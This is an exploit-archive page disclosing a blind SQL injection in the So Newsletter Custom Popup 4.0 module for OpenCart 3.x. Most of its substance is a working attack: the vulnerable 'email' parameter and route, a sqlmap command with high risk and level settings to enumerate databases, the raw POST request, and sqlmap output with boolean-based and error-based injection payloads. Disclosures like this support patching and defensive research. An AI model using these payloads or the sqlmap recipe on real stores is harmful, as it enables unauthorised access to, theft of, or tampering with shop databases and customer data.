

OpenCart 3.x Newsletter Custom Popup 4.0 SQL Injection

Authored by [Saud Alenazi](#)

Posted [Sep 19, 2022](#)

OpenCart 3.x Newsletter Custom Popup module version 4.0 suffers from a remote blind SQL injection vulnerability.

tags | [exploit](#), [remote](#), [sql injection](#)

SHA-256 | 4463bea93399b42e27cadceb696475f29a869f99cd0cfa6c5ded3a40898daf09c [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like 0

Tweet

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

[Download](#)

```
# Exploit Title: OpenCart v3.x So Newsletter Custom Popup Module - Blind SQL Injection
# Date: 18/09/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.opencart.com/
# Software Link: https://www.opencart.com/index.php?route=marketplace/extension/info&extension_id=40259&filter_search=newsletter&filter_license=1&sort=date_added
# Version: v.4.0
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz
```

* Description :

So Newsletter Custom Popup Module is compatible with any Opencart allows SQL Injection via parameter 'email' in index.php?route=extension/module/so_newletter_custom_popup/newsletter. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

* Steps to Reproduce :

```
- Go to : http://127.0.0.1/index.php?route=extension/module/so_newletter_custom_popup/newsletter
- Save request in BurpSuite
- Run saved request with : sqlmap -r sql.txt -p email --random-agent --level=5 --risk=3 --time-sec=5 --hex --dbs
```

Request :

=====

```
POST /index.php?route=extension/module/so_newletter_custom_popup/newsletter HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: OCSESSID=aaf920777d0aacdee96eb7eb50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 29
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: Keep-alive
```

```
createdate=2022-8-28%2019:4:6&email=hi&status=0
```

=====

Output :

```
Parameter: #1* ((custom) POST)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: createdate=2022-8-28 19:4:6&email=hi' AND 4805=4805-- nSeP&status=0

  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: createdate=2022-8-28 19:4:6&email=hi' AND (SELECT 4828 FROM (SELECT COUNT(*) ,CONCAT(0x7176627071,(SELECT (ELT(4828=4828,1))),0x7178786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--sRQs&status=0
```

[Login](#) or [Register](#) to add favorites



Follow us on Twitter



Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 188 files

Ubuntu 57 files

Gentoo 44 files

Debian 28 files

Apple 25 files

Google Security Research 14 files

malvuln 10 files

nu11secu1ty 6 files

mjrczyk 4 files

George Tsimpidas 3 files

File Tags

ActiveX (932)
 Advisory (79,557)
 Arbitrary (15,643)
 BBS (2,859)
 Bypass (1,615)
 CGI (1,015)
 Code Execution (6,913)
 Conference (672)
 Cracker (840)
 CSRF (3,288)
 DoS (22,541)
 Encryption (2,349)
 Exploit (50,293)
 File Inclusion (4,162)
 File Upload (946)
 Firewall (821)
 Info Disclosure (2,656)

File Archives

November 2022
 October 2022
 September 2022
 August 2022
 July 2022
 June 2022
 May 2022
 April 2022
 March 2022
 February 2022
 January 2022
 December 2021
 Older

Systems

AIX (426)
 Apple (1,926)

Site Links

[News by Month](#)

[News Tags](#)

[Files by Month](#)

[File Tags](#)

[File Directory](#)

About Us

[History & Purpose](#)

[Contact Information](#)

[Terms of Service](#)

[Privacy Statement](#)

[Copyright Information](#)

Hosting By

[Rokasec](#)

Intrusion Detection (866)	BSD (370)
Java (2,888)	CentOS (55)
JavaScript (817)	Cisco (1,917)
Kernel (6,255)	Debian (6,620)
Local (14,173)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,390)	Gentoo (4,272)
Perl (1,417)	HPUX (878)
PHP (5,087)	iOS (330)
Proof of Concept (2,290)	iPhone (108)
Protocol (3,426)	IRIX (220)
Python (1,449)	Juniper (67)
Remote (30,009)	Linux (44,118)
Root (3,496)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,768)	OpenBSD (479)
Shell (3,098)	RedHat (12,339)
Shellcode (1,204)	Slackware (941)
Sniffer (885)	Solaris (1,607)
Spoof (2,165)	SUSE (1,444)
SQL Injection (16,089)	Ubuntu (8,147)
TCP (2,377)	UNIX (9,150)
Trojan (685)	UnixWare (185)
UDP (875)	Windows (6,504)
Virus (661)	Other
Vulnerability (31,104)	
Web (9,329)	
Whitepaper (3,728)	
x86 (946)	
XSS (17,478)	
Other	



Follow us on Twitter



Subscribe to an RSS Feed